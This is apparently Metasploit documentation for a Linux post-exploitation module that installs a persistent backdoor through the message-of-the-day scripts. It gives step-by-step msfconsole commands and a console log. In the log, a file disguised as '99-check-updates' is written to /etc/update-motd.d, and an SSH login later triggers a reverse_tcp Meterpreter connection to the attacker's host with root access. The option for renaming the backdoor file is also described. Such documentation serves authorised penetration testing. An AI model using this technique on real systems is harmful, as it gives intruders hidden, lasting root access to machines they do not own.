cgranleese-r7
38 lines
1.3 KiB
Markdown
38 lines
1.3 KiB
Markdown
This is a post module that performs a persistence installation on a Linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html).
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To trigger the persistence execution, an external event such as a user logging in to the system with SSH is required.
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## Verification Steps
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1. Start msfconsole
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2. Obtain a session on the target machine
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3. `use exploit/linux/local/motd_persistence`
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4. `set session -1`
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5. `exploit`
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## Module usage
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```
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msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/motd_persistence
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[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
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msf exploit(linux/local/motd_persistence) > set session -1
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session => -1
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msf exploit(linux/local/motd_persistence) > exploit
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[*] /etc/update-motd.d/99-check-updates written
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msf exploit(linux/local/motd_persistence) >
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[*] Sending stage (3045380 bytes) to 172.18.49.39
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[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
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msf exploit(linux/local/motd_persistence) > sessions -i -1
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[*] Starting interaction with 2...
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meterpreter > getuid
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Server username: root
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meterpreter >
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```
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## Options
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### BACKDOOR_NAME
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Specify the name of the file to insert in the motd directory. (Default: 99-check-updates)
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